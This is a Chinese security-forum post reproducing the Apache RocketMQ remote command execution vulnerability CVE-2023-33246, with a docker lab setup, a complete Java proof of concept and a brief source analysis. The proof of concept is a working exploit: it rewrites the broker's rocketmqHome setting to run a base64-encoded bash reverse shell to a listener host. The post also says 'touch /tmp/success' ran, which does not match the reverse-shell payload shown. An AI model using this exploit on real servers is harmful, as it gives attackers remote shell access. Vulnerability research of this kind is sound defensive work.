问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache RocketMQ 远程命令执行漏洞(CVE-2023-33246)
# Apache RocketMQ 远程命令执行漏洞(CVE-2023-33246) Apache RocketMQ是一个分布式消息平台。 在其5.1.0版本及以前存在一处命令执行漏洞,攻击者通过向其更新配置相关的功能发送指令即...
Apache RocketMQ 远程命令执行漏洞(CVE-2023-33246) ======================================== Apache RocketMQ是一个分布式消息平台。 在其5.1.0版本及以前存在一处命令执行漏洞,攻击者通过向其更新配置相关的功能发送指令即可更新任意配置项,并通过配置项中存在的命令注入功能执行任意命令。 参考链接: - <https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp> - <https://github.com/I5N0rth/CVE-2023-33246> 启动 -- 执行如下命令启动一个RocketMQ 5.1.0: ```shell docker compose up -d ``` 漏洞复现 ---- 使用`IDEA`或`Eclipse`等`IDE`新建一个`Maven`项目,导入依赖: ```xml <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency> <groupId>org.apache.rocketmq</groupId> <artifactId>rocketmq-tools</artifactId> <version>5.1.0</version> </dependency> </dependencies> ``` PoC如下: ```java import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class Main { private static String getCmd(String ip, String port) { String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"; String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes()); return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;"; } public static void main(String[] args) throws Exception { String targetHost = "192.168.227.128"; String targetPort = "10911"; String shellHost = "192.168.227.128"; String shellPort = "12345"; String targetAddr = String.format("%s:%s",targetHost,targetPort); Properties props = new Properties(); props.setProperty("rocketmqHome", getCmd(shellHost,shellPort)); props.setProperty("filterServerNums", "1"); DefaultMQAdminExt admin = new DefaultMQAdminExt(); admin.setNamesrvAddr("0.0.0.0:12345"); admin.start(); admin.updateBrokerConfig(targetAddr, props); Properties brokerConfig = admin.getBrokerConfig(targetAddr); System.out.println(brokerConfig.getProperty("rocketmqHome")); System.out.println(brokerConfig.getProperty("filterServerNums")); admin.shutdown(); } } ``` 在控制台成功输出新的配置后,请等待30秒左右,将可以看到`touch /tmp/success`已成功被执行: ![](https://shs3.b.qianxin.com/butian_public/f682788e8261bc635e8fc6ddc1d0362b97d6c466e1485.jpg) 简单分析 ---- 为什么要修改`filterServerNums`属性:如果配置的`filterServerNums`为0,计算得出的`more`也会是0,因此无法进入`callShell`方法执行命令。 ```java public void createFilterServer() { int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size(); String cmd = this.buildStartCommand(); for (int i = 0; i < more; i++) { FilterServerUtil.callShell(cmd, log); } } public static void callShell(final String shellString, final Logger log) { Process process = null; try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK", shellString); } catch (Throwable e) { log.error("CallShell: readLine IOException, {}", shellString, e); } finally { if (null != process) process.destroy(); } } ``` 为什么要修改`rocketmqHome`属性:在构建命令的时候,最终会调用`splitShellString`方法按照空格对参数进行分割,所以不可以是`NamesrvAddr`参数,只能是开头的`rocketmqHome`参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。 ```java private String buildStartCommand() { String config = ""; if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) { config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile()); } if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) { config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr()); } if (NetworkUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } } ```
发表于 2024-07-12 18:50:42
阅读 ( 1185 )
分类:
Web服务器
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!